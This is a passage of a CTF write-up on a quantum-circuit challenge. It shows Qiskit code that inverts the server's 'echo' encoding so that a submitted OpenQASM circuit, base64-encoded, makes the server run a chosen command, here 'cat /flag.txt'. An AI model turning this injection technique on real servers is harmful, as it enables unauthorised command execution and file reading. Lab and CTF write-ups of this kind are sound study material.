<p>The next part is to figure out how to &ldquo;get rid of&rdquo; the circuit applied after your input, which encodes the string <kbd>echo &lsquo;Hello, world!&rsquo;</kbd>. Quantum circuits are all really just unitary matrices, which means they&rsquo;re invertible.</p>
<p>So if we have input <math xmlns="http://www.w3.org/1998/Math/MathML" alttext="I" display="inline">
<mi>I</mi>
</math>
, <kbd>echo</kbd> input <math xmlns="http://www.w3.org/1998/Math/MathML" alttext="E" display="inline">
<mi>E</mi>
</math>
, and desired payload <math xmlns="http://www.w3.org/1998/Math/MathML" alttext="P" display="inline">
<mi>P</mi>
</math>
in <math xmlns="http://www.w3.org/1998/Math/MathML" alttext="IE=P" display="inline">
<mrow>
<mrow>
<mi>I</mi>
<mo>⁢</mo>
<mi>E</mi>
</mrow>
<mo>=</mo>
<mi>P</mi>
</mrow>
</math>
, that means <math xmlns="http://www.w3.org/1998/Math/MathML" alttext="I=(PE^{\dagger})" display="inline">
<mrow>
<mi>I</mi>
<mo>=</mo>
<mrow>
<mo stretchy="false">(</mo>
<mrow>
<mi>P</mi>
<mo>⁢</mo>
<msup>
<mi>E</mi>
<mo>†</mo>
</msup>
</mrow>
<mo stretchy="false">)</mo>
</mrow>
</mrow>
</math>
.</p>
<p>In order to calculate <math xmlns="http://www.w3.org/1998/Math/MathML" alttext="E^{\dagger}" display="inline">
<msup>
<mi>E</mi>
<mo>†</mo>
</msup>
</math>
, we need to grab <math xmlns="http://www.w3.org/1998/Math/MathML" alttext="E" display="inline">
<mi>E</mi>
</math>
:</p>





  
  
    

  
  
    









<details open>
  
  <summary>Python</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>echo_sv, _ <span style="color:#00d3d0">=</span> normalization(<span style="color:#79a8ff">&#34;echo &#39;Hello, world!&#39;&#34;</span>)
</span></span><span style="display:flex;"><span>E <span style="color:#00d3d0">=</span> StatePreparation(echo_sv, label<span style="color:#00d3d0">=</span><span style="color:#79a8ff">&#34;echo&#34;</span>)</span></span></code></pre></div>
</details>

<p>And then take its inverse:</p>





  
  
    

  
  
    









<details open>
  
  <summary>Python</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>E_inv <span style="color:#00d3d0">=</span> E<span style="color:#00d3d0">.</span>inverse()</span></span></code></pre></div>
</details>

<p>Finally, we compose the individual circuits together:</p>





  
  
    

  
  
    









<details open>
  
  <summary>Python</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>circ <span style="color:#00d3d0">=</span> QuantumCircuit(WIRES)
</span></span><span style="display:flex;"><span>circ<span style="color:#00d3d0">.</span>append(cat_circ, <span style="color:#f78fe7">range</span>(WIRES))
</span></span><span style="display:flex;"><span>circ<span style="color:#00d3d0">.</span>append(E_inv, <span style="color:#f78fe7">range</span>(WIRES))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>circ<span style="color:#00d3d0">.</span>draw(<span style="color:#79a8ff">&#39;mpl&#39;</span>, filename<span style="color:#00d3d0">=</span><span style="color:#79a8ff">&#34;schroedingers_cat/circuit.png&#34;</span>)</span></span></code></pre></div>
</details>

<figure><img src="https://feyor.sh/writeups/schroedingers_cat/circuit.png">
</figure>

<p>Gross (and also kinda wrong). Qiskit&rsquo;s QASM converter will happily spit out black boxes like above, assuming whoever will consume the QASM will know what that means.</p>
<h4 id="an-aside-on-openqasm">An aside on OpenQASM</h4>
<p>If we try to convert our circuit as is to QASM, we run into some issues:</p>





  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>OPENQASM 2.0;
</span></span><span style="display:flex;"><span>include &#34;qelib1.inc&#34;;
</span></span><span style="display:flex;"><span>gate multiplex1_reverse_dg q0 { ry(0.6960408807071358) q0; }
</span></span><span style="display:flex;"><span>gate multiplex1_reverse_dg_5365343888 q0 { ry(1.5295115311526133) q0; }
</span></span><span style="display:flex;"><span>gate multiplex1_reverse_reverse_dg q0 { ry(-0.04128479564228338) q0; }
</span></span><span style="display:flex;"><span>gate multiplex2_reverse_dg q0,q1 { multiplex1_reverse_dg_5365343888 q0; cx q1,q0; multiplex1_reverse_reverse_dg q0; cx q1,q0; }
</span></span><span style="display:flex;"><span>gate multiplex1_reverse_dg_5273843856 q0 { ry(1.4620958103644106) q0; }
</span></span><span style="display:flex;"><span>gate multiplex1_reverse_reverse_dg_5342559248 q0 { ry(0.10867083226993679) q0; }
</span></span><span style="display:flex;"><span>gate multiplex2_reverse_dg_5365334864 q0,q1 { multiplex1_reverse_dg_5273843856 q0; cx q1,q0; multiplex1_reverse_reverse_dg_5342559248 q0; }
</span></span><span style="display:flex;"><span>gate multiplex1_reverse_reverse_reverse_dg q0 { ry(0.10867083226993673) q0; }</span></span></code></pre></div>

<p>In order to emit QASM that Qiskit will actually understand, we need to transpile our circuit to a set of universal basis gates. This is also how quantum circuits are run on hardware, as each computer only understands a certain set of basis gates.</p>





  
  
    

  
  
    









<details open>
  
  <summary>Python</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#b6a0ff">from</span> qiskit <span style="color:#b6a0ff">import</span> Aer
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">from</span> qiskit.compiler <span style="color:#b6a0ff">import</span> transpile
</span></span><span style="display:flex;"><span>circ_transpiled <span style="color:#00d3d0">=</span> transpile(circ, backend<span style="color:#00d3d0">=</span>Aer<span style="color:#00d3d0">.</span>get_backend(<span style="color:#79a8ff">&#34;aer_simulator&#34;</span>), optimization_level<span style="color:#00d3d0">=</span><span style="color:#00bcff">3</span>)
</span></span><span style="display:flex;"><span>good_qasm <span style="color:#00d3d0">=</span> circ_transpiled<span style="color:#00d3d0">.</span>qasm()
</span></span><span style="display:flex;"><span><span style="color:#f78fe7">print</span>(<span style="color:#79a8ff">&#39;</span><span style="color:#79a8ff">\n</span><span style="color:#79a8ff">&#39;</span><span style="color:#00d3d0">.</span>join(good_qasm<span style="color:#00d3d0">.</span>split(<span style="color:#79a8ff">&#39;</span><span style="color:#79a8ff">\n</span><span style="color:#79a8ff">&#39;</span>)[:<span style="color:#00bcff">10</span>]))</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>OPENQASM 2.0;
</span></span><span style="display:flex;"><span>include &#34;qelib1.inc&#34;;
</span></span><span style="display:flex;"><span>qreg q[5];
</span></span><span style="display:flex;"><span>u3(1.4344105714005226,0,0) q[0];
</span></span><span style="display:flex;"><span>u3(1.5262619493655363,0,0) q[1];
</span></span><span style="display:flex;"><span>u3(1.4620958103644108,0,0) q[2];
</span></span><span style="display:flex;"><span>u3(1.5295115311526135,0,0) q[3];
</span></span><span style="display:flex;"><span>u3(0.6960408807071358,0,0) q[4];
</span></span><span style="display:flex;"><span>cx q[4],q[3];
</span></span><span style="display:flex;"><span>u3(0.04128479564228338,-pi,-pi) q[3];</span></span></code></pre></div>

<p>A little tangent on OpenQASM: the implementation is <em>so</em> scuffed and incomplete to the point it makes Yandere Simulator look like enterprise software. I had poked around trying to develop a challenge focused on OpenQASM, but found that literally every interesting part of the spec was unimplemented 😢</p>
<p>Here&rsquo;s Qiskit&rsquo;s implementation of OpenQASM3&rsquo;s <kbd>include</kbd> statement:</p>





  
  
    

  
  
    









<details open>
  
  <summary>Python</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">visit_Include</span>(<span style="color:#f78fe7">self</span>, node: ast<span style="color:#00d3d0">.</span>Include, context: State) <span style="color:#00d3d0">-&gt;</span> State:
</span></span><span style="display:flex;"><span>		<span style="color:#b6a0ff">if</span> node<span style="color:#00d3d0">.</span>filename <span style="color:#00d3d0">!=</span> <span style="color:#79a8ff">&#34;stdgates.inc&#34;</span>:
</span></span><span style="display:flex;"><span>				raise_from_node(node, <span style="color:#79a8ff">&#34;non-stdgates imports not currently supported&#34;</span>)
</span></span><span style="display:flex;"><span>		<span style="color:#b6a0ff">for</span> name, (builder, n_arguments, n_qubits) <span style="color:#00d3d0">in</span> _STDGATES<span style="color:#00d3d0">.</span>items():
</span></span><span style="display:flex;"><span>				context <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">self</span><span style="color:#00d3d0">.</span>_define_gate(name, builder, n_arguments, n_qubits, node, context)
</span></span><span style="display:flex;"><span>		<span style="color:#b6a0ff">return</span> context</span></span></code></pre></div>
</details>

<p>I understand that this is alpha software for a rather small part of Qiskit, and I&rsquo;m not trying to pile on the Qiskit devs for not lavishing more attention on this, but&hellip; bruh.</p>
<h4 id="finishing-up">Finishing up</h4>
<p>All that&rsquo;s left is to <kbd>b64encode</kbd> this bad boy and ship it off to remote.</p>





  
  
    

  
  
    









<details open>
  
  <summary>Python</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>payload <span style="color:#00d3d0">=</span> b64encode(good_qasm<span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># server side</span>
</span></span><span style="display:flex;"><span>transform(qi<span style="color:#00d3d0">.</span>Statevector<span style="color:#00d3d0">.</span>from_instruction(make_circ(given_sv, QuantumCircuit<span style="color:#00d3d0">.</span>from_qasm_str(b64decode(payload)<span style="color:#00d3d0">.</span>decode()))), cat_n)</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>cat /flag.txt</span></span></code></pre></div>

<h4 id="retrospection">Retrospection</h4>
<p>When the challenge was first released (on the second day of the CTF), I decided to not release the source. Although that was intended to prevent code reuse from <kbd>server.py</kbd>, it made the challenge waaaay too guessy. Not only that, but it was probably better to provide primitives so you could focus on solving the challenge instead of placating Qiskit&rsquo;s fussiness.</p>
<p>This very much locks you into using Qiskit and — according to some modmail I received — a particular way of solving the challenge. Even though the server was built against the latest version of Qiskit (and thus the version people would get from <kbd>pip install -r requirements.txt</kbd>), in the future I would release the server Dockerfile to remove any source of impurity. (This is somewhat ironic, given that the challenge author uses NixOS.)</p>]]></content>
    
  </entry>
  
</feed>
